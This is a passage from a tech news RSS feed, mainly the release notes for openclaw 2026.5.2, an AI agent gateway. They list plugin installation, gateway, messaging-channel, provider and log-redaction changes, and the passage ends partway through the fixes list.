<pubDate>Sun, 03 May 2026 17:02:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you’re looking to pick up a pair of open-ear headphones for yourself — or your mom — Shokz is running a Mother’s Day sale. Now through May 10th, the company’s best pair of bone conduction headphones, the OpenRun Pro 2, are available from Amazon, Best Buy, and Shokz for around $139.95 ($40 off), their […]]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.2]]></title>
<description><![CDATA[2026.5.2
Highlights

External plugin installation, update, doctor repair, dependency reporting, and artifact metadata now cover the npm-first cutover, stale configured installs, missing package payloads, and beta-channel plugin fallback. Thanks @vincentkoc.
Gateway and agent hot paths are leaner ...]]></description>
<link>https://tsecurity.de/de/3482973/downloads/openclaw-202652/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3482973/downloads/openclaw-202652/</guid>
<pubDate>Sun, 03 May 2026 01:46:19 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.2</h2>
<h3>Highlights</h3>
<ul>
<li>External plugin installation, update, doctor repair, dependency reporting, and artifact metadata now cover the npm-first cutover, stale configured installs, missing package payloads, and beta-channel plugin fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway and agent hot paths are leaner across startup, session listing, task maintenance, prompt prep, plugin loading, tool descriptor planning, filesystem guards, and large runtime configs.</li>
<li>Control UI and WebChat are more resilient across Sessions, Cron, long-running Gateway WebSockets, grouped-message width, slash-command feedback, iOS PWA bounds, selection contrast, and Talk diagnostics.</li>
<li>Messaging fixes cover WhatsApp Channel/Newsletter targets, Telegram topic commands and networking, Discord delivery/startup edge cases, Slack threads, Signal groups/media, and visible reply routing.</li>
<li>Provider and media fixes cover OpenAI-compatible TTS/Realtime, OpenRouter/DeepSeek replay, Anthropic-compatible streaming, LM Studio reasoning metadata, Brave/SearXNG/Firecrawl web search, media paths, music, and voice-call routing.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Gateway/startup and restart: skip plugin-backed auth-profile overlays during startup secrets preflight, reducing gateway readiness latency while keeping reload and OAuth recovery paths overlay-capable; add <code>openclaw gateway restart --force</code> and <code>--wait &lt;duration&gt;</code>, log active task run IDs before restart deferral timers, and report timeout restarts as explicit forced restarts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285812464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68327/hovercard" href="https://github.com/openclaw/openclaw/pull/68327">#68327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JIRBOY/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JIRBOY">@JIRBOY</a>.</li>
<li>Plugins/ClawHub: make diagnostics, onboarding, doctor repair, and channel setup carry ClawPack metadata through install records while keeping explicit <code>clawhub:</code> installs on ClawHub and bare package installs on npm for the launch cutover. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI: include package dependency install state in <code>openclaw plugins list --json</code> so scripts can spot missing plugin dependencies without runtime-loading plugins.</li>
<li>Plugins/update: on the beta OpenClaw update channel, default-line npm and ClawHub plugin updates try <code>@beta</code> first and fall back to default/latest when no plugin beta release exists.</li>
<li>Plugins/runtime: scope broad runtime preloads to the effective plugin ids derived from config, startup planning, configured channels, slots, and auto-enable rules instead of importing every discoverable plugin.</li>
<li>Agents/runtime: reuse the startup-loaded plugin registry for request-time providers, tools, channel actions, web/capability/memory/migration helpers, and memoized provider extra-params, and memoize transcript replay-policy resolution for stable config and process-env runs while preserving model-specific transport hook patches and custom-env provider behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</li>
<li>Infra/path-guards: add a fast path for canonical absolute POSIX containment checks, avoiding repeated <code>path.resolve</code> and <code>path.relative</code> work in hot filesystem walkers. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367529908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75895" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75895/hovercard" href="https://github.com/openclaw/openclaw/issues/75895">#75895</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363840300" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75575" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75575/hovercard" href="https://github.com/openclaw/openclaw/issues/75575">#75575</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289737301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68782/hovercard" href="https://github.com/openclaw/openclaw/issues/68782">#68782</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Enderfga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Enderfga">@Enderfga</a>.</li>
<li>Tools/plugins: add a platform-level tool descriptor planner for descriptor-first visibility, generic availability checks, and executor references, and cache plugin tool descriptors captured from <code>api.registerTool(...)</code> so repeated prompt-time planning can skip plugin runtime loading while execution still loads the live plugin tool. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368991903" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76079/hovercard" href="https://github.com/openclaw/openclaw/pull/76079">#76079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Docs/Codex: clarify that ChatGPT/Codex subscription setups should use <code>openai/gpt-*</code> with <code>agentRuntime.id: "codex"</code> for native Codex runtime, while <code>openai-codex/*</code> remains the PI OAuth route. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Plugins/source checkout: load bundled plugins from the <code>extensions/*</code> pnpm workspace tree in source checkouts, so plugin-local dependencies and edits are used directly while packaged installs keep using the built runtime tree. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/beta: externalize ACPX behind <code>@openclaw/acpx</code> and diagnostics OpenTelemetry behind <code>@openclaw/diagnostics-otel</code>, keeping their heavier runtime stacks out of the core package until installed; prepare Google Chat, LINE, Matrix, Mattermost, BlueBubbles, diagnostics Prometheus, Google Meet, Nextcloud Talk, Nostr, Zalo, Zalo Personal, diagnostics OpenTelemetry, Discord, Diffs, Lobster, Memory LanceDB, Microsoft Teams, QQ Bot, Voice Call, WhatsApp, Brave, Codex, Feishu, Synology Chat, Tlon, and Twitch for <code>2026.5.1-beta.1</code>/<code>2026.5.1-beta.2</code> npm and ClawHub publishing, and keep publishable plugin dist trees out of the core npm package. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/xAI: add Grok 4.3 to the bundled catalog and make it the default xAI chat model.</li>
<li>Google Meet: let API-created rooms set <code>accessType</code> and <code>entryPointAccess</code>, add <code>googlemeet end-active-conference</code> for closing managed spaces after a call, and add <code>googlemeet test-listen</code> plus the matching <code>google_meet</code> <code>test_listen</code> action so transcribe-mode joins wait for real caption or transcript movement before reporting listen-first health. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355261280" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74824" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74824/hovercard" href="https://github.com/openclaw/openclaw/pull/74824">#74824</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BsnizND/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BsnizND">@BsnizND</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Plugins/ClawHub/onboarding: prefer versioned ClawPack artifacts when ClawHub publishes digest metadata, verify ClawPack response headers and downloaded bytes, persist ClawPack digest/artifact metadata on install/update records and install-on-demand provider setup entries, and allow official bundled-plugin cutovers to record ClawHub artifact metadata while preserving npm as the launch default for bare package specs and retaining npm/local fallback paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/Crestodian: add ClawHub plugin search plus Crestodian plugin list/search/install/uninstall operations, with approval and audit coverage for install and uninstall.</li>
<li>Channels/thread bindings: replace split subagent/ACP thread-spawn toggles with <code>threadBindings.spawnSessions</code>, default thread-bound spawns on, and let <code>openclaw doctor --fix</code> migrate the legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367850512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75943" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75943/hovercard" href="https://github.com/openclaw/openclaw/pull/75943">#75943</a>)</li>
<li>Providers/OpenAI: add <code>extraBody</code>/<code>extra_body</code> passthrough for OpenAI-compatible TTS endpoints, so custom speech servers can receive fields such as <code>lang</code> in <code>/audio/speech</code> requests. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041341848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39900" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39900/hovercard" href="https://github.com/openclaw/openclaw/issues/39900">#39900</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/R3NK0R/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/R3NK0R">@R3NK0R</a>.</li>
<li>Channels/WhatsApp: support explicit WhatsApp Channel/Newsletter <code>@newsletter</code> outbound message targets with channel session metadata instead of DM routing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921599881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/13417/hovercard" href="https://github.com/openclaw/openclaw/issues/13417">#13417</a>; carries forward the narrow outbound target idea from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3921655588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13424" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/13424/hovercard" href="https://github.com/openclaw/openclaw/pull/13424">#13424</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agentz-manfred/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agentz-manfred">@agentz-manfred</a>.</li>
<li>Dependencies: refresh workspace, bundled runtime, and plugin dependency pins, including TypeBox 1.1.37, AWS SDK 3.1041.0, Microsoft Teams 2.0.9, Marked 18.0.3, Pi 0.71.1, OpenAI 6.35.0, Codex 0.128.0, Zod 4.4.1, and Matrix 41.4.0. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/aws/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aws">@aws</a>, and <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/microsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/microsoft">@microsoft</a>.</li>
<li>Discord/channels: add reusable message-channel access groups plus Discord channel-audience DM authorization, so allowlists can reference <code>accessGroup:&lt;name&gt;</code> across channel auth paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366657956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75813" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75813/hovercard" href="https://github.com/openclaw/openclaw/pull/75813">#75813</a>)</li>
<li>Crabbox/scripts: print the selected Crabbox binary, version, and supported providers before <code>pnpm crabbox:*</code> commands, and reject stale binaries that lack <code>blacksmith-testbox</code> provider support.</li>
<li>Agents/Codex: add committed happy-path prompt snapshots for Codex/message-tool Telegram direct, Discord group, and heartbeat turns so prompt drift can be reviewed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Agents/workspace: add <code>agents.defaults.skipOptionalBootstrapFiles</code> for skipping selected optional workspace files during bootstrap without disabling required workspace setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213876746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62110/hovercard" href="https://github.com/openclaw/openclaw/pull/62110">#62110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mainstay22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mainstay22">@mainstay22</a>.</li>
<li>Plugins/CLI: add first-class <code>git:</code> plugin installs with ref checkout, commit metadata, normal scanner/staging, and <code>plugins update</code> support for recorded git sources. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/badlogic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/badlogic">@badlogic</a>.</li>
<li>Google Meet: add live caption health for Chrome transcribe mode, including caption observer state, transcript counters, last caption text, and recent transcript lines in status and doctor output. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Voice Call/Google Meet: add Twilio Meet join phase logs around pre-connect DTMF, realtime stream setup, and initial greeting handoff for easier live-call debugging. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</li>
<li>macOS app: move recent session context rows into a Context submenu while keeping usage and cost details root-level, so the menu bar companion stays compact with many active sessions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Guti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Guti">@Guti</a>.</li>
<li>Gateway/SDK: add SDK-facing tools.invoke RPC with shared HTTP policy, typed approval/refusal results, and SDK helper support. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354626015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74705/hovercard" href="https://github.com/openclaw/openclaw/issues/74705">#74705</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Discord: keep active buttons, selects, and forms working across Gateway restarts until they expire, so multi-step Discord interactions are less likely to break during upgrades or restarts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Messages/docs: clarify that <code>BodyForAgent</code> is the primary inbound model text while <code>Body</code> is the legacy envelope fallback, and add Signal coverage so channel hardening patches target the real prompt path. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258357958" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66198/hovercard" href="https://github.com/openclaw/openclaw/pull/66198">#66198</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defonota3box/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defonota3box">@defonota3box</a>.</li>
<li>Slack: publish a safe default App Home tab view on <code>app_home_opened</code>, include the Home tab event in setup manifests, and keep track of bot-participated threads across restarts so ongoing threaded conversations can continue auto-replying after the Gateway restarts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3911903854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/11655" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/11655/hovercard" href="https://github.com/openclaw/openclaw/issues/11655">#11655</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4114456932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52020" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52020/hovercard" href="https://github.com/openclaw/openclaw/issues/52020">#52020</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Control UI/Usage: add UTC quarter-hour token buckets for the Usage Mosaic and reuse them for hour filtering, keeping the legacy session-span fallback for older summaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350628281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74337" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74337/hovercard" href="https://github.com/openclaw/openclaw/pull/74337">#74337</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konanok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konanok">@konanok</a>.</li>
<li>BlueBubbles: add opt-in <code>channels.bluebubbles.replyContextApiFallback</code> that fetches the original message from the BlueBubbles HTTP API when the in-memory reply-context cache misses (multi-instance deployments sharing one BB account, post-restart, after long-lived TTL/LRU eviction). Off by default; channel-level setting propagates to accounts that omit the flag through <code>mergeAccountConfig</code>; routed through the typed <code>BlueBubblesClient</code> so every fetch is SSRF-guarded by the same three-mode policy as every other BB client request; reply-id shape is validated and part-index prefixes (<code>p:0/&lt;guid&gt;</code>) are stripped before the request; concurrent webhooks for the same <code>replyToId</code> coalesce into one fetch and successful responses populate the reply cache for subsequent hits. Also promotes BlueBubbles attachment download failures from verbose to runtime error so silently-dropped inbound images are visible at default log level, and extends <code>sanitizeForLog</code> to redact <code>?password=…</code>/<code>?token=…</code> query params and <code>Authorization:</code> headers before they reach the log sink (CWE-532). (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329493815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71820" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71820/hovercard" href="https://github.com/openclaw/openclaw/pull/71820">#71820</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coletebou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coletebou">@coletebou</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</li>
<li>CLI/proxy: add <code>openclaw proxy validate</code> so operators can verify effective proxy configuration, proxy reachability, and expected allow/deny destination behavior before deploying proxy-routed OpenClaw commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341892839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73438" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73438/hovercard" href="https://github.com/openclaw/openclaw/pull/73438">#73438</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Agents/Codex: default Codex app-server dynamic tools to native-first, keeping OpenClaw integration tools while leaving file, patch, exec, and process ownership to the Codex harness; default Codex-harness direct source replies to the OpenClaw <code>message</code> tool when visible reply delivery is not explicitly configured, keeping channel-visible output as a deliberate tool call. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361939028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75308" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75308/hovercard" href="https://github.com/openclaw/openclaw/pull/75308">#75308</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365795107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75765/hovercard" href="https://github.com/openclaw/openclaw/pull/75765">#75765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Heartbeats/agents: add a structured <code>heartbeat_respond</code> tool for tool-capable heartbeat runs so agents can record quiet outcomes or explicit notification text without relying only on <code>HEARTBEAT_OK</code> parsing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365795107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75765/hovercard" href="https://github.com/openclaw/openclaw/pull/75765">#75765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Gateway/config: allow <code>$include</code> directives to read files from operator-approved <code>OPENCLAW_INCLUDE_ROOTS</code> directories while preserving default config-directory confinement. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ificator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ificator">@ificator</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/OpenAI: default GPT-5 API-key sessions to the SSE Responses transport unless WebSocket is explicitly selected, restoring replies in fresh Control UI and WebChat beta installs where the auto WebSocket path connected but produced no model events.</li>
<li>Agents/sessions: preserve terminal lifecycle state when final run metadata persists from a stale in-memory snapshot, preventing sessions from staying stuck as running after completed or timed-out turns.</li>
<li>Gateway/CLI/status: make <code>openclaw gateway start</code> repair stale managed service definitions that point at old OpenClaw versions, missing binaries, or temporary installer paths before starting; add concrete service, config, listener-owner, and log collection next steps when gateway probes fail and Bonjour finds no local gateway; avoid repeated plugin tool descriptor config hashing so large runtime configs do not block reply startup and trigger reconnect/timeouts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4088411746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49012/hovercard" href="https://github.com/openclaw/openclaw/issues/49012">#49012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367851232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75944/hovercard" href="https://github.com/openclaw/openclaw/issues/75944">#75944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Plugins/update/config: stop treating the non-plugin <code>auth</code> command root as a bundled plugin id, keep packaged upgrades and beta external plugin installs on stable runtime aliases and matching prerelease npm specs, detect tracked plugin install records whose package directories disappeared during <code>openclaw update</code>, reinstall them before normal plugin updates, fail the update if install records still point at missing disk payloads, and validate configured web-search providers plus statically suppressed model/provider pairs against the active plugin set at config load. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex/app-server: resolve managed binaries from bundled <code>dist</code> chunks and from the <code>@openai/codex</code> package bin when installs do not provide a nearby <code>.bin/codex</code> shim, avoiding false missing-binary startup failures.</li>
<li>Status: show the <code>openai-codex</code> OAuth profile for <code>openai/gpt-*</code> sessions running through the native Codex runtime instead of reporting auth as unknown. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369662899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76197" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76197/hovercard" href="https://github.com/openclaw/openclaw/pull/76197">#76197</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</li>
<li>Status/update: resolve beta update-channel checks from the installed version when config still says <code>stable</code>, show configured channels in <code>openclaw status</code> and config-only <code>openclaw channels status</code> output even when the Gateway is unreachable, and let <code>status --deep</code> reuse live gateway channel credential state instead of warning on command-path-only token misses. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/externalization: add official npm-first catalogs for externalized channel, provider, and generic plugins; install official external web-search plugins before saving provider config; repair missing configured, selected-search, and env-selected plugin installs from npm by default; keep official install docs, update examples, live Codex checks, diagnostics ClawHub packages, and persisted bundled-plugin relocation on default npm tags; and keep ACPX, Google Chat, and LINE publishable plugin dist trees out of the core package while ClawHub pack files roll out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
